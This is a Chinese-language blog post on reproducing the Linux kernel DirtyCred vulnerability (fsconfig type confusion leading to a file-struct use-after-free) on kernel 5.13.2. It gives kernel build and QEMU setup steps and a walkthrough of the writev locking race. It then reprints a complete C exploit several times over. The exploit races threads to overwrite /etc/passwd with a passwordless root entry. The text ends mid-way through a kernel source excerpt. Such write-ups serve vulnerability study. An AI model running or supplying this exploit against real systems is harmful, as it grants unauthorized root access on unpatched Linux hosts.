复现一下 dirty cred 漏洞
<!--more-->
同样本篇文章采用的还是 环境配置——漏洞验证——源码分析——代码调试 这四部分。
选用一个漏洞存在的版本,例如 5.13.2 。
下面就是编译内核会踩得一些坑,我将完整复述一遍:
源码下载好之后,先 make menuconfig
开启调试符号,kernel hacking->kernel debugging
勾选,kernel hacking->Compile-time checks and compiler options->Compile the kernel with debug info
勾选。
保存退出之后还需要加上两个选项。
vim .config
,打开之后找到两个选项,一个是 CONFIG_FUSE_FS
另一个是 CONFIG_USER_NS
,这两个选项都需要启动,默认生成的 config
应该是没有启用这两个选项的。
配置完成之后就可以开始编译了。
编译完成之后,在本目录下得到带完整符号的 vmlinux
,在 arch/x86/boot/
得到启动内核 bzImage
依然是采用 busybox,方法和之前是一致的,看我最开始的环境搭建 即可,这里可以提前把 EXP 编译进去然后打包文件系统。
就是传说中的 start.sh
这里给大家参考一下我的 qemu 启动参数。
最后一行用于调试,大家不需要调试可以先注释掉,其它参数解释如下:
现在在目录下应该有了 start.sh
,bzImage
和 rootfs.img
,文件系统可以提前打包 exp 进去。
用网上通用的一个 EXP。
编译命令为 gcc -g exp.c -o exp -static -lpthread
这里我很简单地将 /etc/passwd
的第一项写成 root::0:0:root:/root:/bin/sh\n\n
,去掉其中的 x
让它没有密码。
可以发现漏洞是存在的。
通过阅读 论文原文 能大概知道 EXP 的利用思路。
步骤是先打开一个具有写权限的本地文件,对其写入内容,在写文件的时候,内核会检查你的权限,随后再去写,在检查完权限,写之前可以 free 掉这个文件再立马打开特权文件(/etc/passwd
),这样就可以达到绕过权限去写特权文件的操作了。
配合 EXP 来看看
从 main
函数开始,先调用 3 次 mmap 去分配内存,随后新建了一个 exp_dir
文件夹,并创建了 data
在该文件夹中。
setup_common
函数挂载了一个 FUSE 文件系统,但是测试下来挂载不成功也不影响 EXP 的使用,随后 mprotect 改变内存属性(这里不是很清楚为什么把栈的属性清零)。随后循环
在循环中调用 clone
去启动一个新的进程,一般来说,clone
理解为 fork
没有问题。随后子进程执行 namespace_sandbox_proc
,主进程等待子进程返回,那么来分析分析这个函数。
先设置父进程死亡的信号为 SIGKILL
,然后调用 setsid()
去脱离当前终端。随后做了一系列的限制,分别为
然后挂载创建一个新的命名空间,将当前命名空间的根文件系统挂载点设置为私有,再创建其它的一系列的命名空间。
随后写这些内核参数文件,这样就创建了一个合适的环境。
fsopen
打开一个文件系统 cgroup
,将 ./uaf
链接到 ./data
上,又使用 fsconfig
进行了一些配置,在这个地方已经产生了 UAF 漏洞。
然后开启了两个线程分别启动 slow_write
和 write_cmd
,主线程调用 spray_files
。分别对应论文第一张图的线程 1,2,3。
那么可以发现,主要就是由这三个线程去操作了,之前一系列是为了进行一个环境配置在造成 UAF,因为并没有权限直接更改内核的某些参数,所以直接创建新的命名空间去操作的。
打开文件去占据内核锁,去打开 ./uaf
,至于为什么打开 uaf,稍后分析内核源码可以获得具体原因。
这里面还分配了大量内存页,并尝试将所有页面写入文件,这一步通过文献的查阅可以得知是为了减缓写文件的速度,把写文件的时间线拉长就可以提高漏洞利用的成功率。
中间在开始写之前会设置一个全局变量去启动下一个线程。
这一步就是等到第一个线程调用 writev
的时候启动第三个线程,然后再去写指定的数据。
连续地打开 /etc/passwd
文件,判断文件描述符和 uaf_fd
是否为同一文件,如果是那么设置 found=1
。
在这个地方触发了漏洞导致了 uaf 文件描述符写入了 /etc/passwd
文件。
选用对应源码版本:https://elixir.bootlin.com/linux/v5.13.3/source
在利用中线程 1 (局部变量 fd
)和线程 2 (全局变量 uaf_fd
)都打开了一个文件(./uaf
),如果 uaf
是普通文件,那么 FMODE_ATOMIC_POS
这个标志位必定存在,但是如果是链接文件,则这里不会被设置这个标记,可以避免被卡在这个函数。
具体的代码可以查看 open
函数的调用,相关解释已加注释。
主要要分析的是 sys_writev
。
深入这个函数来看看
看起来其实非常简单,也就是先根据文件描述符去获取 fd 结构,fd 结构里面维护了当前打开的文件的写指针和读指针,第一步先获取,然后调用 vfs_writev
去写该文件,随后释放文件结构,如果返回值 >0,则增加当前文件写入字符数(add_wchar
),增加当前系统调用次数(inc_syscw
)
同样从头到尾来看看函数定义,首先是这个获取文件结构的 fdget_pos
,
然后再深入看看 __to_fd
和 __fget_pos
函数。
无疑 __to_fd
函数将获得的文件结构 struct file
转为 struct fd
。
__fdget_pos
就应当是根据文件描述符来获取文件结构 struct file
。
深入下去 __fdget
可以发现里面调用了 __fget_light
,第二个参数被固定为 FMODE_PATH
,对于这个函数定义:
这里也解释了这个宏的定义,表示文件几乎不能做任何操作比如说 READ,WRITE
,而这里的 mask
在后面分析是禁止的一些操作,比如文件具有 READ
权限但是 mask
被设置为 FMODE_READ
,那么在后续的调用中会返回 NULL
。
先获取当前进程的文件描述符表(current->files
),然后判断文件描述符表的引用计数是否为 1
(描述符表是否共享),如果是则调用 files_lookup_fd_raw
去获取文件结构指针,然后判断文件操作模式的正确性,随后返回。
根据注释也可以认为,需要保证文件描述符表没有被共享过,或者是持有文件锁。会返回一个 fd
表中的 struct file
结构(fdt->fd[fd]
)。
如果引用计数不为 1
,则调用 __fget
去获取指针,其中主要是调用了 __fget_files
函数。
这里的 files_lookup_fd_rcu
直接可以认为是获取文件结构体的,随后判断里面是否包含禁止的模式,然后增加文件计数引用 (get_file_rcu_many
)。
回过头来看看 __fdget_pos
函数
获取到的文件指针将最低两位置为 0(对齐),如果被设置了 FMODE_ATOMIC_POS
且 文件引用大于 1,那么上锁,到这里,才分析完 do_writev
的第一句话,来看看接下来的语句,重点是 vfs_writev
函数。
首先根据 writev
的结构体解出数据和长度,然后调用 do_iter_write
去写文件,而在 do_iter_write
中可以发现,这里作权限校验了,校验了是否可写以及文件描述符是否可写,这里的两层意思分别是文件本身是否具有可写权限以及你打开的文件描述符是否包含了 O_WRITE
权限位。
随后进行写,写的过程会根据文件系统调用对应的写函数(write_iter
)
下面是完整的调用链,感兴趣可以跟一下。
do_writev ->vfs_writev ->do_iter_write ->do_iter_readv_writev ->call_write_iter ->.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter
在这个函数里面可以看到我注释的两个位置分别对文件节点进行了上锁和解锁。
此时两个线程会卡在这个锁里,翻一翻时间节点,此时权限校验已经完了,第一个线程写入大量数据将第二个线程获取锁的时间,趁此机会第三个线程将 /etc/passwd
打开并将文件页面以这个 uaf
的页面使用,第二个线程获取锁之后直接将数据写入 /etc/passwd
。
所以要彻底明白这个漏洞,还需要理解前面 UAF 的成因。
这个系统调用太大了,只介绍它原有的含义和触发漏洞的位置。
这个系统调用允许挂载自己的文件系统而不用修改内核,它在调用的过程中存在类型混淆漏洞。
在选项 5 有个可以释放文件的操作 FSCONFIG_SET_FD
,在解释参数的时候,会调用到下面的函数
通过 PATCH
文件可以看出来(实则因为菜实在分析不来)
如果 key
为 source
,那么 param->type
必须被指定为 string
类型而不能是文件描述符,此时因为外面的 cmd=FSCONFIG_SET_FD
,因此获取了文件结构在联合体当中。
在判断中可以看到这样一句:
此时将 string
保存在 fc->source
当中,因为它们共用内存,所以这里的 string
实际上是 struct file
结构体指针。
最后要 free
掉这个 fs_context
结构时,就意外地造成了这里的文件结构的 uaf
,最后这个系统调用完成会触发 fscontext_release
。
第一步打断点 __do_sys_fsconfig
,然后跟到图示这个位置,可以发现获取到了文件结构了。
随后跟到这个位置
这里会有调用刚刚的 cgroup1_parse_param
,当然也可以直接下断点 continue
过去。
当然这里可以看到 source
直接被取走了,保存到了 fc
结构当中。
随后下断在 fscontext_release
,然后 continue
过去,走到 kfree
这和位置可以发现 source
被释放。
这里也能看到作者原意是想在这里释放 source
字符串,但是这里释放了 file
文件结构指针,调试的时候可以和之前对一下,发现地址是一致的,因此这里造成了 uaf。
这里采用 writev
写入大量数据使得文件拿锁的时间加长。为了调试 exp
,可以用 add-symbol-file
命令去添加符号,这里可以选择断 write_cmd
的 writev
函数,因为这里会因为写入数据量过大而长期持有锁,writev 就会尝试持续获得锁。
随后经过系统调用来到 do_writev
函数
不过这里多线程比较难调,也不放调试具体过程了,感觉原理还是比较浅显易懂的。
我们可以总结出以下的利用思路:
分析的还有很多不足之处,如果有讲的不好的地方恳请师傅多多包涵并帮助指正。
qemu-system-x86_64 \
-m 256M \
-smp 2,cores=2,threads=1\
-kernel .
/bzImage
\
-initrd .
/rootfs
.img \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
\
-cpu qemu64 \
-netdev user,
id
=t0, \
-device e1000,netdev=t0,
id
=nic0 \
-nographic \
qemu-system-x86_64 \
-m 256M \
-smp 2,cores=2,threads=1\
-kernel .
/bzImage
\
-initrd .
/rootfs
.img \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
\
-cpu qemu64 \
-netdev user,
id
=t0, \
-device e1000,netdev=t0,
id
=nic0 \
-nographic \
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>
#include <linux/capability.h>
static
void
die(
const
char
*fmt, ...) {
va_list
params;
va_start
(params, fmt);
vfprintf
(stderr, fmt, params);
va_end
(params);
exit
(1);
}
static
void
use_temporary_dir(
void
) {
system
(
"rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data"
);
char
*tmpdir =
"exp_dir"
;
if
(!tmpdir)
exit
(1);
if
(chmod(tmpdir, 0777))
exit
(1);
if
(chdir(tmpdir))
exit
(1);
}
static
bool
write_file(
const
char
*file,
const
char
*what, ...) {
char
buf[1024];
va_list
args;
va_start
(args, what);
vsnprintf(buf,
sizeof
(buf), what, args);
va_end
(args);
buf[
sizeof
(buf) - 1] = 0;
int
len =
strlen
(buf);
int
fd = open(file, O_WRONLY | O_CLOEXEC);
if
(fd == -1)
return
false
;
if
(write(fd, buf, len) != len) {
int
err =
errno
;
close(fd);
errno
= err;
return
false
;
}
close(fd);
return
true
;
}
static
void
setup_common() {
if
(mount(0,
"/sys/fs/fuse/connections"
,
"fusectl"
, 0, 0)) {
}
}
static
void
loop();
static
void
sandbox_common() {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid();
struct
rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if
(unshare(CLONE_NEWNS)) {
}
if
(mount(NULL,
"/"
, NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if
(unshare(CLONE_NEWIPC)) {
}
if
(unshare(0x02000000)) {
}
if
(unshare(CLONE_NEWUTS)) {
}
if
(unshare(CLONE_SYSVSEM)) {
}
typedef
struct
{
const
char
*name;
const
char
*value;
} sysctl_t;
static
const
sysctl_t sysctls[] = {
{
"/proc/sys/kernel/shmmax"
,
"16777216"
},
{
"/proc/sys/kernel/shmall"
,
"536870912"
},
{
"/proc/sys/kernel/shmmni"
,
"1024"
},
{
"/proc/sys/kernel/msgmax"
,
"8192"
},
{
"/proc/sys/kernel/msgmni"
,
"1024"
},
{
"/proc/sys/kernel/msgmnb"
,
"1024"
},
{
"/proc/sys/kernel/sem"
,
"1024 1048576 500 1024"
},
};
unsigned i;
for
(i = 0; i <
sizeof
(sysctls) /
sizeof
(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static
int
wait_for_loop(
int
pid) {
if
(pid < 0)
exit
(1);
int
status = 0;
while
(waitpid(-1, &status, __WALL) != pid) {
}
return
WEXITSTATUS(status);
}
static
void
drop_caps(
void
) {
struct
__user_cap_header_struct cap_hdr = {};
struct
__user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if
(syscall(SYS_capget, &cap_hdr, &cap_data))
exit
(1);
const
int
drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if
(syscall(SYS_capset, &cap_hdr, &cap_data))
exit
(1);
}
static
int
real_uid;
static
int
real_gid;
__attribute__((aligned(64 << 10)))
static
char
sandbox_stack[1 << 20];
static
int
namespace_sandbox_proc() {
sandbox_common();
loop();
}
static
int
do_sandbox_namespace() {
setup_common();
real_uid = getuid();
real_gid = getgid();
mprotect(sandbox_stack, 4096, PROT_NONE);
while
(1) {
int
pid =
clone(namespace_sandbox_proc, &sandbox_stack[
sizeof
(sandbox_stack) - 64],
CLONE_NEWUSER | CLONE_NEWPID, 0);
if
(pid == -1) {
perror
(
"clone"
);
printf
(
"errno: %d\n"
,
errno
);
}
int
ret_status = wait_for_loop(pid);
if
(ret_status == 0) {
printf
(
"[!] succeed\n"
);
sleep(1);
printf
(
"[*] checking /etc/passwd\n\n"
);
printf
(
"[*] executing command : head -n 5 /etc/passwd\n"
);
sleep(1);
system
(
"head -n 5 /etc/passwd"
);
return
1;
}
else
{
printf
(
"[-] failed to write, retry...\n\n"
);
sleep(3);
}
}
}
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define MAX_FILE_NUM 1000
int
uaf_fd;
int
fds[MAX_FILE_NUM];
int
run_write = 0;
int
run_spray = 0;
char
*cwd;
void
*slow_write() {
printf
(
"[*] start slow write to get the lock\n"
);
int
fd = open(
"./uaf"
, 1);
if
(fd < 0) {
perror
(
"error open uaf file"
);
exit
(-1);
}
unsigned
long
int
addr = 0x30000000;
int
offset;
for
(offset = 0; offset < 0x80000; offset++) {
void
*r = mmap((
void
*)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if
(r < 0) {
printf
(
"allocate failed at 0x%x\n"
, offset);
}
}
assert
(offset > 0);
void
*mem = (
void
*)(addr);
memcpy
(mem,
"hhhhh"
, 5);
struct
iovec iov[5];
for
(
int
i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}
run_write = 1;
if
(writev(fd, iov, 5) < 0) {
perror
(
"slow write"
);
}
printf
(
"[*] write done!\n"
);
}
void
*write_cmd() {
char
data[1024] =
"root::0:0:root:/root:/bin/sh\n\n"
;
struct
iovec iov = {.iov_base = data, .iov_len =
strlen
(data)};
while
(!run_write) {
}
run_spray = 1;
if
(writev(uaf_fd, &iov, 1) < 0) {
printf
(
"failed to write\n"
);
}
printf
(
"[*] overwrite done! It should be after the slow write\n"
);
}
int
spray_files() {
while
(!run_spray) {
}
int
found = 0;
printf
(
"[*] got uaf fd %d, start spray....\n"
, uaf_fd);
for
(
int
i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open(
"/etc/passwd"
, O_RDONLY);
if
(fds[i] < 0) {
perror
(
"open file"
);
printf
(
"%d\n"
, i);
}
if
(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
0) {
found = 1;
printf
(
"[!] found, file id %d\n"
, i);
for
(
int
j = 0; j < i; j++)
close(fds[j]);
break
;
}
}
if
(found) {
sleep(4);
return
0;
}
return
-1;
}
void
trigger() {
int
fs_fd = syscall(__NR_fsopen,
"cgroup"
, 0);
if
(fs_fd < 0) {
perror
(
"fsopen"
);
die(
""
);
}
symlink(
"./data"
,
"./uaf"
);
uaf_fd = open(
"./uaf"
, 1);
if
(uaf_fd < 0) {
die(
"failed to open symbolic file\n"
);
}
if
(syscall(__NR_fsconfig, fs_fd, 5,
"source"
, 0, uaf_fd)) {
perror
(
"fsconfig"
);
exit
(-1);
}
close(fs_fd);
}
void
loop() {
trigger();
pthread_t p_id;
pthread_create(&p_id, NULL, slow_write, NULL);
pthread_t p_id_cmd;
pthread_create(&p_id_cmd, NULL, write_cmd, NULL);
exit
(spray_files());
}
int
main(
void
) {
cwd = get_current_dir_name();
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
use_temporary_dir();
do_sandbox_namespace();
return
0;
}
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>
#include <linux/capability.h>
static
void
die(
const
char
*fmt, ...) {
va_list
params;
va_start
(params, fmt);
vfprintf
(stderr, fmt, params);
va_end
(params);
exit
(1);
}
static
void
use_temporary_dir(
void
) {
system
(
"rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data"
);
char
*tmpdir =
"exp_dir"
;
if
(!tmpdir)
exit
(1);
if
(chmod(tmpdir, 0777))
exit
(1);
if
(chdir(tmpdir))
exit
(1);
}
static
bool
write_file(
const
char
*file,
const
char
*what, ...) {
char
buf[1024];
va_list
args;
va_start
(args, what);
vsnprintf(buf,
sizeof
(buf), what, args);
va_end
(args);
buf[
sizeof
(buf) - 1] = 0;
int
len =
strlen
(buf);
int
fd = open(file, O_WRONLY | O_CLOEXEC);
if
(fd == -1)
return
false
;
if
(write(fd, buf, len) != len) {
int
err =
errno
;
close(fd);
errno
= err;
return
false
;
}
close(fd);
return
true
;
}
static
void
setup_common() {
if
(mount(0,
"/sys/fs/fuse/connections"
,
"fusectl"
, 0, 0)) {
}
}
static
void
loop();
static
void
sandbox_common() {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid();
struct
rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if
(unshare(CLONE_NEWNS)) {
}
if
(mount(NULL,
"/"
, NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if
(unshare(CLONE_NEWIPC)) {
}
if
(unshare(0x02000000)) {
}
if
(unshare(CLONE_NEWUTS)) {
}
if
(unshare(CLONE_SYSVSEM)) {
}
typedef
struct
{
const
char
*name;
const
char
*value;
} sysctl_t;
static
const
sysctl_t sysctls[] = {
{
"/proc/sys/kernel/shmmax"
,
"16777216"
},
{
"/proc/sys/kernel/shmall"
,
"536870912"
},
{
"/proc/sys/kernel/shmmni"
,
"1024"
},
{
"/proc/sys/kernel/msgmax"
,
"8192"
},
{
"/proc/sys/kernel/msgmni"
,
"1024"
},
{
"/proc/sys/kernel/msgmnb"
,
"1024"
},
{
"/proc/sys/kernel/sem"
,
"1024 1048576 500 1024"
},
};
unsigned i;
for
(i = 0; i <
sizeof
(sysctls) /
sizeof
(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static
int
wait_for_loop(
int
pid) {
if
(pid < 0)
exit
(1);
int
status = 0;
while
(waitpid(-1, &status, __WALL) != pid) {
}
return
WEXITSTATUS(status);
}
static
void
drop_caps(
void
) {
struct
__user_cap_header_struct cap_hdr = {};
struct
__user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if
(syscall(SYS_capget, &cap_hdr, &cap_data))
exit
(1);
const
int
drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if
(syscall(SYS_capset, &cap_hdr, &cap_data))
exit
(1);
}
static
int
real_uid;
static
int
real_gid;
__attribute__((aligned(64 << 10)))
static
char
sandbox_stack[1 << 20];
static
int
namespace_sandbox_proc() {
sandbox_common();
loop();
}
static
int
do_sandbox_namespace() {
setup_common();
real_uid = getuid();
real_gid = getgid();
mprotect(sandbox_stack, 4096, PROT_NONE);
while
(1) {
int
pid =
clone(namespace_sandbox_proc, &sandbox_stack[
sizeof
(sandbox_stack) - 64],
CLONE_NEWUSER | CLONE_NEWPID, 0);
if
(pid == -1) {
perror
(
"clone"
);
printf
(
"errno: %d\n"
,
errno
);
}
int
ret_status = wait_for_loop(pid);
if
(ret_status == 0) {
printf
(
"[!] succeed\n"
);
sleep(1);
printf
(
"[*] checking /etc/passwd\n\n"
);
printf
(
"[*] executing command : head -n 5 /etc/passwd\n"
);
sleep(1);
system
(
"head -n 5 /etc/passwd"
);
return
1;
}
else
{
printf
(
"[-] failed to write, retry...\n\n"
);
sleep(3);
}
}
}
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define MAX_FILE_NUM 1000
int
uaf_fd;
int
fds[MAX_FILE_NUM];
int
run_write = 0;
int
run_spray = 0;
char
*cwd;
void
*slow_write() {
printf
(
"[*] start slow write to get the lock\n"
);
int
fd = open(
"./uaf"
, 1);
if
(fd < 0) {
perror
(
"error open uaf file"
);
exit
(-1);
}
unsigned
long
int
addr = 0x30000000;
int
offset;
for
(offset = 0; offset < 0x80000; offset++) {
void
*r = mmap((
void
*)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if
(r < 0) {
printf
(
"allocate failed at 0x%x\n"
, offset);
}
}
assert
(offset > 0);
void
*mem = (
void
*)(addr);
memcpy
(mem,
"hhhhh"
, 5);
struct
iovec iov[5];
for
(
int
i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}
run_write = 1;
if
(writev(fd, iov, 5) < 0) {
perror
(
"slow write"
);
}
printf
(
"[*] write done!\n"
);
}
void
*write_cmd() {
char
data[1024] =
"root::0:0:root:/root:/bin/sh\n\n"
;
struct
iovec iov = {.iov_base = data, .iov_len =
strlen
(data)};
while
(!run_write) {
}
run_spray = 1;
if
(writev(uaf_fd, &iov, 1) < 0) {
printf
(
"failed to write\n"
);
}
printf
(
"[*] overwrite done! It should be after the slow write\n"
);
}
int
spray_files() {
while
(!run_spray) {
}
int
found = 0;
printf
(
"[*] got uaf fd %d, start spray....\n"
, uaf_fd);
for
(
int
i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open(
"/etc/passwd"
, O_RDONLY);
if
(fds[i] < 0) {
perror
(
"open file"
);
printf
(
"%d\n"
, i);
}
if
(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
0) {
found = 1;
printf
(
"[!] found, file id %d\n"
, i);
for
(
int
j = 0; j < i; j++)
close(fds[j]);
break
;
}
}
if
(found) {
sleep(4);
return
0;
}
return
-1;
}
void
trigger() {
int
fs_fd = syscall(__NR_fsopen,
"cgroup"
, 0);
if
(fs_fd < 0) {
perror
(
"fsopen"
);
die(
""
);
}
symlink(
"./data"
,
"./uaf"
);
uaf_fd = open(
"./uaf"
, 1);
if
(uaf_fd < 0) {
die(
"failed to open symbolic file\n"
);
}
if
(syscall(__NR_fsconfig, fs_fd, 5,
"source"
, 0, uaf_fd)) {
perror
(
"fsconfig"
);
exit
(-1);
}
close(fs_fd);
}
void
loop() {
trigger();
pthread_t p_id;
pthread_create(&p_id, NULL, slow_write, NULL);
pthread_t p_id_cmd;
pthread_create(&p_id_cmd, NULL, write_cmd, NULL);
exit
(spray_files());
}
int
main(
void
) {
cwd = get_current_dir_name();
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
use_temporary_dir();
do_sandbox_namespace();
return
0;
}
void
*slow_write() {
printf
(
"[*] start slow write to get the lock\n"
);
int
fd = open(
"./uaf"
, 1);
if
(fd < 0) {
perror
(
"error open uaf file"
);
exit
(-1);
}
unsigned
long
int
addr = 0x30000000;
int
offset;
for
(offset = 0; offset < 0x80000; offset++) {
void
*r = mmap((
void
*)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if
(r < 0) {
printf
(
"allocate failed at 0x%x\n"
, offset);
}
}
assert
(offset > 0);
void
*mem = (
void
*)(addr);
memcpy
(mem,
"hhhhh"
, 5);
struct
iovec iov[5];
for
(
int
i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}
run_write = 1;
if
(writev(fd, iov, 5) < 0) {
perror
(
"slow write"
);
}
printf
(
"[*] write done!\n"
);
}
void
*slow_write() {
printf
(
"[*] start slow write to get the lock\n"
);
int
fd = open(
"./uaf"
, 1);
if
(fd < 0) {
perror
(
"error open uaf file"
);
exit
(-1);
}
unsigned
long
int
addr = 0x30000000;
int
offset;
for
(offset = 0; offset < 0x80000; offset++) {
void
*r = mmap((
void
*)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if
(r < 0) {
printf
(
"allocate failed at 0x%x\n"
, offset);
}
}
assert
(offset > 0);
void
*mem = (
void
*)(addr);
memcpy
(mem,
"hhhhh"
, 5);
struct
iovec iov[5];
for
(
int
i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}
run_write = 1;
if
(writev(fd, iov, 5) < 0) {
perror
(
"slow write"
);
}
printf
(
"[*] write done!\n"
);
}
void
*write_cmd() {
char
data[1024] =
"root::0:0:root:/root:/bin/sh\n\n"
;
struct
iovec iov = {.iov_base = data, .iov_len =
strlen
(data)};
while
(!run_write) {
}
run_spray = 1;
if
(writev(uaf_fd, &iov, 1) < 0) {
printf
(
"failed to write\n"
);
}
printf
(
"[*] overwrite done! It should be after the slow write\n"
);
}
void
*write_cmd() {
char
data[1024] =
"root::0:0:root:/root:/bin/sh\n\n"
;
struct
iovec iov = {.iov_base = data, .iov_len =
strlen
(data)};
while
(!run_write) {
}
run_spray = 1;
if
(writev(uaf_fd, &iov, 1) < 0) {
printf
(
"failed to write\n"
);
}
printf
(
"[*] overwrite done! It should be after the slow write\n"
);
}
int
spray_files() {
while
(!run_spray) {
}
int
found = 0;
printf
(
"[*] got uaf fd %d, start spray....\n"
, uaf_fd);
for
(
int
i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open(
"/etc/passwd"
, O_RDONLY);
if
(fds[i] < 0) {
perror
(
"open file"
);
printf
(
"%d\n"
, i);
}
if
(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
0) {
found = 1;
printf
(
"[!] found, file id %d\n"
, i);
for
(
int
j = 0; j < i; j++)
close(fds[j]);
break
;
}
}
if
(found) {
sleep(4);
return
0;
}
return
-1;
}
int
spray_files() {
while
(!run_spray) {
}
int
found = 0;
printf
(
"[*] got uaf fd %d, start spray....\n"
, uaf_fd);
for
(
int
i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open(
"/etc/passwd"
, O_RDONLY);
if
(fds[i] < 0) {
perror
(
"open file"
);
printf
(
"%d\n"
, i);
}
if
(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
0) {
found = 1;
printf
(
"[!] found, file id %d\n"
, i);
for
(
int
j = 0; j < i; j++)
close(fds[j]);
break
;
}
}
if
(found) {
sleep(4);
return
0;
}
return
-1;
}
static
int
do_dentry_open(
struct
file *f,
struct
inode *inode,
int
(*open)(
struct
inode *,
struct
file *))
{
static
const
struct
file_operations empty_fops = {};
int
error;
path_get(&f->f_path);
f->f_inode = inode;
f->f_mapping = inode->i_mapping;
f->f_wb_err = filemap_sample_wb_err(f->f_mapping);
f->f_sb_err = file_sample_sb_err(f);
if
(unlikely(f->f_flags & O_PATH)) {
f->f_mode = FMODE_PATH | FMODE_OPENED;
f->f_op = &empty_fops;
return
0;
}
if
(f->f_mode & FMODE_WRITE && !special_file(inode->i_mode)) {
error = get_write_access(inode);
if
(unlikely(error))
